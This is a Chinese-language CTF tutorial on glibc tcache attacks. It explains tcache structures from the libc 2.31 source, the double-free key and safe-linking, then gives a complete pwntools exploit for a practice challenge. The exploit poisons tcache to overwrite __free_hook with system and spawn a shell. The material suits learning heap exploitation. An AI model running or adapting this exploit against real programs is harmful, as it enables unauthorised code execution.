Tcache attack

发布时间:2026/6/24 2:09:05
Tcache attack Tcache的结构我们看看libc2.31的源码其相关的定义#if USE_TCACHE/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */#字面意思# define TCACHE_MAX_BINS 64# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)/* We overlay this structure on the user-data portion of a chunk whenthe chunk is stored in the per-thread cache. */#意思大概就是他利用释放后堆块的内存去储存这个结构不会新调用内存typedef struct tcache_entry{struct tcache_entry *next;/* This field exists to detect double frees. */#和字面意思一样这个key值防止double freestruct tcache_perthread_struct *key;} tcache_entry;/* There is one of these for each thread, which contains theper-thread cache (hence tcache_perthread_struct). Keepingoverall size low is mildly important. Note that COUNTS and ENTRIESare redundant (we could have just counted the linked list eachtime), this is for performance reasons. */#重要的应该就是这个tcache是每个线程都有一个吧其他的应该是字面意思typedef struct tcache_perthread_struct{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread bool tcache_shutting_down false;static __thread tcache_perthread_struct *tcache NULL;TCACHE_MAX_BINS这个宏大小被定义为64也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小0x40个uint16_t数组大小是0x80有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240区别在count的定义上之前的类型是char)个可写内存实际的堆块大小应该是0x290下面我们看看这个tcache结构是放在哪的。static voidtcache_init(void){mstate ar_ptr;void *victim 0;const size_t bytes sizeof (tcache_perthread_struct);#tcache结构的大小给了bytesif (tcache_shutting_down)return;arena_get (ar_ptr, bytes);#获取一个可用的 arenavictim _int_malloc (ar_ptr, bytes);#分配对应大小的内存也就是0x290if (!victim ar_ptr ! NULL)#如果第一次分配失败就再试一次{ar_ptr arena_get_retry (ar_ptr, bytes);victim _int_malloc (ar_ptr, bytes);}if (ar_ptr ! NULL)__libc_lock_unlock (ar_ptr-mutex);/* In a low memory situation, we may not be able to allocate memory- in which case, we just keep trying later. However, wetypically do this very early, so either there is sufficientmemory, or there isnt enough memory to do non-trivialallocations anyway. */#字面意思if (victim){tcache (tcache_perthread_struct *) victim;#把对应内存的指针给tcachememset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零}}再后面的部分我就先用宏观的角度讲讲吧先不结合源码讲了tcache的链表的堆块大小从0x20一直到0x410一共0x40个堆块符合我们在上面看见的宏定义如果大于这个范围那就不会进tcache并且每个链表的堆块最大只有7个比如0x20个堆块他最多储存7个0x20大小的堆剩下如果还有那就不会进tcache。另外还要注意的就是在libc2.41之前calloc申请堆块是不会走tcache的也就是如果calloc申请堆块他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)其他特性基本与fastbin相同单向链表先进后出头插法。要注意的就是在libc2.28之前tcache没有那个key值所以可以随意double free后面再关键一点的转变就是2.32的safelinking机制了safelinking简单来说就是对next指针进行了加密不能直接改成堆/目标地址了他的加密过程的代码如下#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) 12) ^ ((size_t) ptr)))就是加密值 next原本指向的地址 ^ (next指针的地址 12)next原本应该指向的地址就是下一个堆块的地址所以在有safelinking的时候我们攻击就还需要泄露堆地址。攻击攻击有两种大方向第一种是通过uaf堆溢出off by one/null overlap直接改next指针在libc2.32前我们只需要free大小相同的堆块afree堆块b然后修改b堆块的next指针改成目标地址即可不需要在目标地址伪造堆块而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时因为他只检测第一个堆块的合法性没有检查其他堆块所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击polarctf-unk因为这题漏洞很多就拿来练手了可以去靶场下载去pwn那个方向搜一下就好(远程是2.23)PolarDN我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf有堆溢出可以show以及随意申请任意大小的堆块。我把反编译的代码贴出来。int __fastcall main(int argc, const char **argv, const char **envp){setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);while ( 1 ){menu();switch ( get_num() ){case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts(invalid choice.);break;}}menu就是打印一些提示int __cdecl get_num(){char buf[24]; // [rsp0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp18h] [rbp-8h]v2 __readfsqword(0x28u);read(0, buf, 0x10u);return atoi(buf);}void __cdecl add_chunk(){int index; // [rsp8h] [rbp-8h]int size; // [rspCh] [rbp-4h]puts(index:);index get_num();puts(size:);size get_num();chunk_list[index] (char *)malloc(size);}void __cdecl delete_chunk(){int index; // [rspCh] [rbp-4h]puts(index:);index get_num();free(chunk_list[index]);}void __cdecl edit_chunk(){int index; // [rsp8h] [rbp-8h]int length; // [rspCh] [rbp-4h]puts(index:);index get_num();puts(length:);length get_num();puts(content:);read(0, chunk_list[index], length);}void __cdecl show_chunk(){int index; // [rspCh] [rbp-4h]puts(index:);index get_num();puts(chunk_list[index]);}思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址然后free一个堆块free第二个堆块改第二个堆块的next指针为freehook申请两下申请到freehook的地址然后往一个堆块里写一个/bin/sh\x00字符串free掉这个堆块即可getshell我选的版本是2.31-0ubuntu9.18exp如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *#from pwncli import *# cli_script()#from ae64 import AE64#from pymao import *context.log_leveldebugcontext.archamd64elfELF(./pwn)libc ELF(./libc.so.6)# libc1cdll.LoadLibrary(./libc.so.6)li./libc.so.6flag 0if flag:p remote(1)else:p process(./pwn)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s))sd lambda s : p.send(s)sdr lambda s : p.send(str(s).encode())rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name---hex(addr))u6 lambda a : u64(rc(a).ljust(8,b\x00).strip())i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [tmux, splitw, -h]gdb.attach(p)#maybe gdbscriptset debug-file-directory ./starpause()def add(s,a):ru(bchoice:)sdr(1)ru(bindex:)sdr(s)ru(bsize:)sdr(a)def free(s):ru(bchoice:)sdr(2)ru(bindex:)sdr(s)def edit(s,a,d):ru(bchoice:)sdr(3)ru(bindex:)sdr(s)ru(blength:)sdr(a)ru(bcontent:)sd(d)def show(s):ru(bchoice:)sdr(4)ru(bindex:)sdr(s)add(0,0x410)add(1,0x20)free(0)add(0,0x20)show(0)rcl()libcbaseu6(6)-0x1ecfd0ph(libcbase)fhlibcbaselibc.sym[__free_hook]sylibcbaselibc.sym[system]free(0)free(1)edit(1,0x8,p64(fh))add(0,0x20)add(1,0x20)edit(1,8,p64(sy))edit(0,8,b/bin/sh\x00)free(0)ti()